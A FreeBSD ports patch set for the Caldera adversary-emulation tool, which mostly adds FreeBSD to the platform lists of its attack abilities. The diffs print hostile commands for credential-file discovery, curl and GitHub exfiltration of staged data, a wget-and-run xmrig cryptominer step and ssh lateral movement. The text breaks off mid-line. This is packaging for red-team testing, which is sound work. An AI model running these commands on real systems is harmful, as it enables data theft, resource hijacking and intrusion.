plugins/stockpile/data/abilities/discovery/6e1a53c0-7352-4899-be35-fa7f364d5722.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/6e1a53c0-7352-4899-be35-fa7f364d5722.yml +@@ -12,7 +12,7 @@ + sh: + command: | + pwd +- linux: ++ freebsd,linux: + sh: + command: | + pwd diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_830bb6ed-9594-4817-b1a1-c298c0f9f425.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_830bb6ed-9594-4817-b1a1-c298c0f9f425.yml new file mode 100644 index 00000000000..97137b959bd --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_830bb6ed-9594-4817-b1a1-c298c0f9f425.yml @@ -0,0 +1,10 @@ +--- plugins/stockpile/data/abilities/discovery/830bb6ed-9594-4817-b1a1-c298c0f9f425.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/830bb6ed-9594-4817-b1a1-c298c0f9f425.yml +@@ -16,3 +16,7 @@ + sh: + command: | + which google-chrome ++ freebsd: ++ sh: ++ command: | ++ which chrome diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_85341c8c-4ecb-4579-8f53-43e3e91d7617.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_85341c8c-4ecb-4579-8f53-43e3e91d7617.yml new file mode 100644 index 00000000000..c48e5c1e638 --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_85341c8c-4ecb-4579-8f53-43e3e91d7617.yml @@ -0,0 +1,18 @@ +--- plugins/stockpile/data/abilities/discovery/85341c8c-4ecb-4579-8f53-43e3e91d7617.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/85341c8c-4ecb-4579-8f53-43e3e91d7617.yml +@@ -14,7 +14,7 @@ + parsers: + plugins.stockpile.app.parsers.ipaddr: + - source: remote.host.ip +- linux: ++ freebsd,linux: + sh: + command: arp -a + parsers: +@@ -25,4 +25,4 @@ + command: arp -a + parsers: + plugins.stockpile.app.parsers.ipaddr: +- - source: remote.host.ip +\ No newline at end of file ++ - source: remote.host.ip diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_9849d956-37ea-49f2-a8b5-f2ca080b315d.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_9849d956-37ea-49f2-a8b5-f2ca080b315d.yml new file mode 100644 index 00000000000..322ba3f70c2 --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_9849d956-37ea-49f2-a8b5-f2ca080b315d.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/discovery/9849d956-37ea-49f2-a8b5-f2ca080b315d.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/9849d956-37ea-49f2-a8b5-f2ca080b315d.yml +@@ -12,7 +12,7 @@ + sh: + command: | + which go +- linux: ++ freebsd,linux: + sh: + command: | + which go diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_a41c2324-8c63-4b15-b3c5-84f920d1f226.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_a41c2324-8c63-4b15-b3c5-84f920d1f226.yml new file mode 100644 index 00000000000..803f409699a --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_a41c2324-8c63-4b15-b3c5-84f920d1f226.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/discovery/a41c2324-8c63-4b15-b3c5-84f920d1f226.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/a41c2324-8c63-4b15-b3c5-84f920d1f226.yml +@@ -6,7 +6,7 @@ + attack_id: T1083 + name: File and Directory Discovery + platforms: +- linux: ++ freebsd,linux: + sh: + command: 'find ~ -type f -name #{host.print.file} 2>/dev/null' + parsers: diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_b18e8767-b7ea-41a3-8e80-baf65a5ddef5.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_b18e8767-b7ea-41a3-8e80-baf65a5ddef5.yml new file mode 100644 index 00000000000..0c923801e46 --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_b18e8767-b7ea-41a3-8e80-baf65a5ddef5.yml @@ -0,0 +1,13 @@ +--- plugins/stockpile/data/abilities/discovery/b18e8767-b7ea-41a3-8e80-baf65a5ddef5.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/b18e8767-b7ea-41a3-8e80-baf65a5ddef5.yml +@@ -16,6 +16,10 @@ + sh: + command: | + python3 --version;python2 --version;python --version ++ freebsd: ++ sh: ++ command: | ++ pkg version -x python3 | cut -d '-' -f2 | awk '{print $1}' && pkg version -x python2 | cut -d '-' -f2 | awk '{print $1}' + windows: + cmd: + command: | diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_b6f545ef-f802-4537-b59d-2cb19831c8ed.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_b6f545ef-f802-4537-b59d-2cb19831c8ed.yml new file mode 100644 index 00000000000..0f35c6455ab --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_b6f545ef-f802-4537-b59d-2cb19831c8ed.yml @@ -0,0 +1,13 @@ +--- plugins/stockpile/data/abilities/discovery/b6f545ef-f802-4537-b59d-2cb19831c8ed.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/b6f545ef-f802-4537-b59d-2cb19831c8ed.yml +@@ -8,7 +8,7 @@ + attack_id: T1016 + name: System Network Configuration Discovery + platforms: +- darwin: ++ darwin,freebsd: + sh: + command: | +- ifconfig | grep broadcast +\ No newline at end of file ++ ifconfig | grep broadcast diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_bd527b63-9f9e-46e0-9816-b8434d2b8989.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_bd527b63-9f9e-46e0-9816-b8434d2b8989.yml new file mode 100644 index 00000000000..bd45cfbb221 --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_bd527b63-9f9e-46e0-9816-b8434d2b8989.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/discovery/bd527b63-9f9e-46e0-9816-b8434d2b8989.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/bd527b63-9f9e-46e0-9816-b8434d2b8989.yml +@@ -12,7 +12,7 @@ + sh: + command: | + whoami +- linux: ++ freebsd,linux: + sh: + command: | + whoami diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_c0da588f-79f0-4263-8998-7496b1a40596.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_c0da588f-79f0-4263-8998-7496b1a40596.yml new file mode 100644 index 00000000000..01803f22087 --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_c0da588f-79f0-4263-8998-7496b1a40596.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/discovery/c0da588f-79f0-4263-8998-7496b1a40596.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/c0da588f-79f0-4263-8998-7496b1a40596.yml +@@ -15,7 +15,7 @@ + plugins.stockpile.app.parsers.basic: + - source: host.user.name + - source: domain.user.name +- linux: ++ freebsd,linux: + sh: + command: whoami + parsers: diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_c1cd6388-3ced-48c7-a511-0434c6ba8f48.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_c1cd6388-3ced-48c7-a511-0434c6ba8f48.yml new file mode 100644 index 00000000000..bd9b22860d0 --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_c1cd6388-3ced-48c7-a511-0434c6ba8f48.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/discovery/c1cd6388-3ced-48c7-a511-0434c6ba8f48.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/c1cd6388-3ced-48c7-a511-0434c6ba8f48.yml +@@ -15,7 +15,7 @@ + parsers: + plugins.stockpile.app.parsers.basic: + - source: host.user.name +- linux: ++ freebsd,linux: + sh: + command: | + cut -d: -f1 /etc/passwd | grep -v '_' | grep -v '#' diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_ce485320-41a4-42e8-a510-f5a8fe96a644.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_ce485320-41a4-42e8-a510-f5a8fe96a644.yml new file mode 100644 index 00000000000..7e128a92b5a --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_ce485320-41a4-42e8-a510-f5a8fe96a644.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/discovery/ce485320-41a4-42e8-a510-f5a8fe96a644.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/ce485320-41a4-42e8-a510-f5a8fe96a644.yml +@@ -8,7 +8,7 @@ + attack_id: T1018 + name: Remote System Discovery + platforms: +- linux: ++ freebsd,linux: + sh: + command: host "#{target.org.domain}" | grep mail | grep -oE '[^ ]+$' | rev | cut -c 2- | rev + parsers: diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_e8017c46-acb8-400c-a4b5-b3362b5b5baa.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_e8017c46-acb8-400c-a4b5-b3362b5b5baa.yml new file mode 100644 index 00000000000..4dbd92f81fa --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_e8017c46-acb8-400c-a4b5-b3362b5b5baa.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/discovery/e8017c46-acb8-400c-a4b5-b3362b5b5baa.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/e8017c46-acb8-400c-a4b5-b3362b5b5baa.yml +@@ -12,7 +12,7 @@ + sh: + command: | + sudo ifconfig +- linux: ++ freebsd,linux: + sh: + command: | + sudo ifconfig diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_e82f39e2-56f8-4f19-8376-b007f9ac5f8a.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_e82f39e2-56f8-4f19-8376-b007f9ac5f8a.yml new file mode 100644 index 00000000000..deff7f08eed --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_e82f39e2-56f8-4f19-8376-b007f9ac5f8a.yml @@ -0,0 +1,20 @@ +--- plugins/stockpile/data/abilities/discovery/e82f39e2-56f8-4f19-8376-b007f9ac5f8a.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/e82f39e2-56f8-4f19-8376-b007f9ac5f8a.yml +@@ -12,6 +12,10 @@ + sh: + command: | + pwpolicy getaccountpolicies ++ freebsd: ++ sh: ++ command: | ++ cat /etc/pam.d/passwd + linux: + sh: + command: | +@@ -19,4 +23,4 @@ + windows: + psh: + command: | +- net accounts +\ No newline at end of file ++ net accounts diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_fa6e8607-e0b1-425d-8924-9b894da5a002.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_fa6e8607-e0b1-425d-8924-9b894da5a002.yml new file mode 100644 index 00000000000..15613cb5746 --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_discovery_fa6e8607-e0b1-425d-8924-9b894da5a002.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/discovery/fa6e8607-e0b1-425d-8924-9b894da5a002.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/discovery/fa6e8607-e0b1-425d-8924-9b894da5a002.yml +@@ -15,7 +15,7 @@ + parsers: + plugins.stockpile.app.parsers.basic: + - source: host.current.time +- linux: ++ freebsd,linux: + sh: + command: | + date -u +"%Y-%m-%dT%H:%M:%SZ" diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_execution_b1d41972-3ad9-4aa1-8f7f-05f049a2980e.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_execution_b1d41972-3ad9-4aa1-8f7f-05f049a2980e.yml new file mode 100644 index 00000000000..336bdd59872 --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_execution_b1d41972-3ad9-4aa1-8f7f-05f049a2980e.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/execution/b1d41972-3ad9-4aa1-8f7f-05f049a2980e.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/execution/b1d41972-3ad9-4aa1-8f7f-05f049a2980e.yml +@@ -14,7 +14,7 @@ + pkill -f sandcat + payloads: + - sandcat.go +- linux: ++ freebsd,linux: + sh: + command: | + nohup ./sandcat.go -server #{server} & diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_exfiltration_0582dc26-e0cf-4645-88cf-f37a02279976.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_exfiltration_0582dc26-e0cf-4645-88cf-f37a02279976.yml new file mode 100644 index 00000000000..005748e3ee7 --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_exfiltration_0582dc26-e0cf-4645-88cf-f37a02279976.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/exfiltration/0582dc26-e0cf-4645-88cf-f37a02279976.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/exfiltration/0582dc26-e0cf-4645-88cf-f37a02279976.yml +@@ -10,7 +10,7 @@ + attack_id: T1567.001 + name: Exfiltration to Code Repository + platforms: +- linux: ++ freebsd,linux: + sh: + command: | # Temporary file needed to avoid curl length restrictions + GHUser="#{github.user.name}"; diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_exfiltration_110cea7a-5b03-4443-92ee-7ccefaead451.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_exfiltration_110cea7a-5b03-4443-92ee-7ccefaead451.yml new file mode 100644 index 00000000000..0b273cc3e81 --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_exfiltration_110cea7a-5b03-4443-92ee-7ccefaead451.yml @@ -0,0 +1,18 @@ +--- plugins/stockpile/data/abilities/exfiltration/110cea7a-5b03-4443-92ee-7ccefaead451.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/exfiltration/110cea7a-5b03-4443-92ee-7ccefaead451.yml +@@ -6,7 +6,7 @@ + attack_id: T1029 + name: Scheduled Transfer + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + crontab -l > /tmp/origcron; +@@ -46,4 +46,4 @@ + + Register-ScheduledTask -TaskName "Scheduled exfiltration" -Trigger $trigger -Action $action; + cleanup: | +- Unregister-ScheduledTask -TaskName "Scheduled exfiltration" -Confirm:$false; +\ No newline at end of file ++ Unregister-ScheduledTask -TaskName "Scheduled exfiltration" -Confirm:$false; diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_exfiltration_2f90d4de-2612-4468-9251-b220e3727452.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_exfiltration_2f90d4de-2612-4468-9251-b220e3727452.yml new file mode 100644 index 00000000000..7314e2e0e6a --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_exfiltration_2f90d4de-2612-4468-9251-b220e3727452.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/exfiltration/2f90d4de-2612-4468-9251-b220e3727452.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/exfiltration/2f90d4de-2612-4468-9251-b220e3727452.yml +@@ -6,7 +6,7 @@ + attack_id: T1560.001 + name: 'Archive Collected Data: Archive via Utility' + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + tar -czf #{host.dir.git}.tar.gz -C "#{host.dir.git}" .; printf #{host.dir.git}.tar.gz; diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_exfiltration_300157e5-f4ad-4569-b533-9d1fa0e74d74.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_exfiltration_300157e5-f4ad-4569-b533-9d1fa0e74d74.yml new file mode 100644 index 00000000000..69160b87e16 --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_exfiltration_300157e5-f4ad-4569-b533-9d1fa0e74d74.yml @@ -0,0 +1,18 @@ +--- plugins/stockpile/data/abilities/exfiltration/300157e5-f4ad-4569-b533-9d1fa0e74d74.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/exfiltration/300157e5-f4ad-4569-b533-9d1fa0e74d74.yml +@@ -17,7 +17,7 @@ + parsers: + plugins.stockpile.app.parsers.basic: + - source: host.dir.compress +- linux: ++ freebsd,linux: + sh: + command: | + tar -P -zcf #{host.dir.staged}.tar.gz #{host.dir.staged} && echo #{host.dir.staged}.tar.gz +@@ -38,4 +38,4 @@ + - source: host.dir.compress + requirements: + - plugins.stockpile.app.requirements.paw_provenance: +- - source: host.dir.staged +\ No newline at end of file ++ - source: host.dir.staged diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_exfiltration_3ce95a28-25fc-4a7e-a0cd-0fdb190e2081.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_exfiltration_3ce95a28-25fc-4a7e-a0cd-0fdb190e2081.yml new file mode 100644 index 00000000000..c9f92c4ed75 --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_exfiltration_3ce95a28-25fc-4a7e-a0cd-0fdb190e2081.yml @@ -0,0 +1,18 @@ +--- plugins/stockpile/data/abilities/exfiltration/3ce95a28-25fc-4a7e-a0cd-0fdb190e2081.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/exfiltration/3ce95a28-25fc-4a7e-a0cd-0fdb190e2081.yml +@@ -43,7 +43,7 @@ + $result = $sr.ReadToEnd(); + $result; + $res.close(); +- linux: ++ freebsd,linux: + sh: + command: | + LocalFile='#{host.dir.compress}'; +@@ -55,4 +55,4 @@ + --data-binary @#{host.dir.compress} + requirements: + - plugins.stockpile.app.requirements.paw_provenance: +- - source: host.dir.compress +\ No newline at end of file ++ - source: host.dir.compress diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_exfiltration_4a1120a5-971c-457f-bb07-60641b4723fd.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_exfiltration_4a1120a5-971c-457f-bb07-60641b4723fd.yml new file mode 100644 index 00000000000..28fa5c84164 --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_exfiltration_4a1120a5-971c-457f-bb07-60641b4723fd.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/exfiltration/4a1120a5-971c-457f-bb07-60641b4723fd.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/exfiltration/4a1120a5-971c-457f-bb07-60641b4723fd.yml +@@ -6,7 +6,7 @@ + attack_id: T1567.001 + name: Exfiltration to Code Repository + platforms: +- linux: # https://docs.github.com/en/rest/reference/repos#contents ++ freebsd,linux: # https://docs.github.com/en/rest/reference/repos#contents + sh: + command: | + GHUser="#{github.user.name}"; diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_exfiltration_5c5b0392-1daa-45e1-967c-2f361ce78849.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_exfiltration_5c5b0392-1daa-45e1-967c-2f361ce78849.yml new file mode 100644 index 00000000000..26fd685ed8f --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_exfiltration_5c5b0392-1daa-45e1-967c-2f361ce78849.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/exfiltration/5c5b0392-1daa-45e1-967c-2f361ce78849.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/exfiltration/5c5b0392-1daa-45e1-967c-2f361ce78849.yml +@@ -11,7 +11,7 @@ + attack_id: T1030 + name: Data Transfer Size Limits + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + tar -C #{host.dir.staged} -czf - . | gpg -c --pinentry-mode=loopback --passphrase '#{host.archive.password}' > #{host.dir.staged}.tar.gz.gpg; diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_exfiltration_a201bec2-a193-4b58-bf0e-57fa621da474.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_exfiltration_a201bec2-a193-4b58-bf0e-57fa621da474.yml new file mode 100644 index 00000000000..d31c5b4033e --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_exfiltration_a201bec2-a193-4b58-bf0e-57fa621da474.yml @@ -0,0 +1,18 @@ +--- plugins/stockpile/data/abilities/exfiltration/a201bec2-a193-4b58-bf0e-57fa621da474.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/exfiltration/a201bec2-a193-4b58-bf0e-57fa621da474.yml +@@ -7,7 +7,7 @@ + attack_id: T1567.001 + name: Exfiltration to Code Repository + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + GHUser="#{github.user.name}"; +@@ -62,4 +62,4 @@ + }; + requirements: + - plugins.stockpile.app.requirements.paw_provenance: +- - source: host.dir.staged +\ No newline at end of file ++ - source: host.dir.staged diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_exfiltration_ba0deadb-97ac-4a4c-aa81-21912fc90980.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_exfiltration_ba0deadb-97ac-4a4c-aa81-21912fc90980.yml new file mode 100644 index 00000000000..5fc9da37edc --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_exfiltration_ba0deadb-97ac-4a4c-aa81-21912fc90980.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/exfiltration/ba0deadb-97ac-4a4c-aa81-21912fc90980.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/exfiltration/ba0deadb-97ac-4a4c-aa81-21912fc90980.yml +@@ -9,7 +9,7 @@ + attack_id: T1537 + name: 'Transfer Data to Cloud Account' + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + LocalFile='#{host.dir.compress}'; diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_exfiltration_d754878c-17dd-46dc-891c-a993f8a10336.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_exfiltration_d754878c-17dd-46dc-891c-a993f8a10336.yml new file mode 100644 index 00000000000..53bbfc44e9e --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_exfiltration_d754878c-17dd-46dc-891c-a993f8a10336.yml @@ -0,0 +1,18 @@ +--- plugins/stockpile/data/abilities/exfiltration/d754878c-17dd-46dc-891c-a993f8a10336.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/exfiltration/d754878c-17dd-46dc-891c-a993f8a10336.yml +@@ -8,7 +8,7 @@ + attack_id: T1048.003 + name: Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + LocalFile='#{host.dir.compress}'; +@@ -35,4 +35,4 @@ + $requestStream.Dispose(); + requirements: + - plugins.stockpile.app.requirements.paw_provenance: +- - source: host.dir.compress +\ No newline at end of file ++ - source: host.dir.compress diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_exfiltration_e7bf5dc7-62e4-48b2-acf8-abaf8734c19c.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_exfiltration_e7bf5dc7-62e4-48b2-acf8-abaf8734c19c.yml new file mode 100644 index 00000000000..36cfe29cab1 --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_exfiltration_e7bf5dc7-62e4-48b2-acf8-abaf8734c19c.yml @@ -0,0 +1,18 @@ +--- plugins/stockpile/data/abilities/exfiltration/e7bf5dc7-62e4-48b2-acf8-abaf8734c19c.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/exfiltration/e7bf5dc7-62e4-48b2-acf8-abaf8734c19c.yml +@@ -8,7 +8,7 @@ + attack_id: T1567.002 + name: 'Exfiltration to Cloud Storage' + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + LocalFile='#{host.dir.compress}'; +@@ -30,4 +30,4 @@ + aws s3 rm s3://#{s3.source.name}/$RemoteName; + requirements: + - plugins.stockpile.app.requirements.paw_provenance: +- - source: host.dir.compress +\ No newline at end of file ++ - source: host.dir.compress diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_exfiltration_ea713bc4-63f0-491c-9a6f-0b01d560b87e.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_exfiltration_ea713bc4-63f0-491c-9a6f-0b01d560b87e.yml new file mode 100644 index 00000000000..0035807bbc2 --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_exfiltration_ea713bc4-63f0-491c-9a6f-0b01d560b87e.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/exfiltration/ea713bc4-63f0-491c-9a6f-0b01d560b87e.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/exfiltration/ea713bc4-63f0-491c-9a6f-0b01d560b87e.yml +@@ -12,7 +12,7 @@ + sh: + command: | + curl -F "data=@#{host.dir.compress}" --header "X-Request-ID: `hostname`-#{paw}" #{server}/file/upload +- linux: ++ freebsd,linux: + sh: + command: | + curl -F "data=@#{host.dir.compress}" --header "X-Request-ID: `hostname`-#{paw}" #{server}/file/upload diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_impact_46da2385-cf37-49cb-ba4b-a739c7a19de4.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_impact_46da2385-cf37-49cb-ba4b-a739c7a19de4.yml new file mode 100644 index 00000000000..e01052cff30 --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_impact_46da2385-cf37-49cb-ba4b-a739c7a19de4.yml @@ -0,0 +1,22 @@ +--- plugins/stockpile/data/abilities/impact/46da2385-cf37-49cb-ba4b-a739c7a19de4.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/impact/46da2385-cf37-49cb-ba4b-a739c7a19de4.yml +@@ -19,6 +19,19 @@ + cleanup: | + rm -rf ./xmrig*; + timeout: 120 ++ freebsd: ++ sh: ++ # FreeBSD should include `timeout` making this easy. ++ # We expect timeout to return a 124, which needs to then return a 0 ++ # to make Caldera UI happy. ++ command: | ++ wget https://github.com/xmrig/xmrig/releases/download/v6.19.2/xmrig-6.19.2-freebsd-static-x64.tar.gz; ++ tar -xf xmrig-6.19.2-freebsd-static-x64.tar.gz; ++ timeout 60 ./xmrig-6.19.2/xmrig; ++ [ $? -eq 124 ] ++ cleanup: | ++ rm -rf ./xmrig*; ++ timeout: 120 + darwin: + sh: + # MacOS does not include timeout, but can mimic the process with screen. diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_impact_47d08617-5ce1-424a-8cc5-c9c978ce6bf9.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_impact_47d08617-5ce1-424a-8cc5-c9c978ce6bf9.yml new file mode 100644 index 00000000000..b5ef72e367f --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_impact_47d08617-5ce1-424a-8cc5-c9c978ce6bf9.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/impact/47d08617-5ce1-424a-8cc5-c9c978ce6bf9.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/impact/47d08617-5ce1-424a-8cc5-c9c978ce6bf9.yml +@@ -12,7 +12,7 @@ + sh: + command: | + echo "proof that this machine was hacked." > message.txt +- linux: ++ freebsd,linux: + sh: + command: | + echo "proof that this machine was hacked." > message.txt diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_impact_55f9600a-756f-496b-b27f-682052dc429c.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_impact_55f9600a-756f-496b-b27f-682052dc429c.yml new file mode 100644 index 00000000000..89f970a4905 --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_impact_55f9600a-756f-496b-b27f-682052dc429c.yml @@ -0,0 +1,11 @@ +--- plugins/stockpile/data/abilities/impact/55f9600a-756f-496b-b27f-682052dc429c.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/impact/55f9600a-756f-496b-b27f-682052dc429c.yml +@@ -7,7 +7,7 @@ + command: ./mission.go -duration 60 -extension .caldera -dir '/' + payloads: + - mission.go +- linux: ++ freebsd,linux: + sh: + command: ./mission.go -duration 60 -extension .caldera -dir '/' + payloads: diff --git a/security/caldera/files/patch-plugins_stockpile_data_abilities_lateral-movement_10a9d979-e342-418a-a9b0-002c483e0fa6.yml b/security/caldera/files/patch-plugins_stockpile_data_abilities_lateral-movement_10a9d979-e342-418a-a9b0-002c483e0fa6.yml new file mode 100644 index 00000000000..1016cc6fb5c --- /dev/null +++ b/security/caldera/files/patch-plugins_stockpile_data_abilities_lateral-movement_10a9d979-e342-418a-a9b0-002c483e0fa6.yml @@ -0,0 +1,16 @@ +--- plugins/stockpile/data/abilities/lateral-movement/10a9d979-e342-418a-a9b0-002c483e0fa6.yml.orig 2022-09-14 02:24:22 UTC ++++ plugins/stockpile/data/abilities/lateral-movement/10a9d979-e342-418a-a9b0-002c483e0fa6.yml +@@ -24,4 +24,13 @@ + ssh -o ConnectTimeout=3 -o StrictHostKeyChecking=no 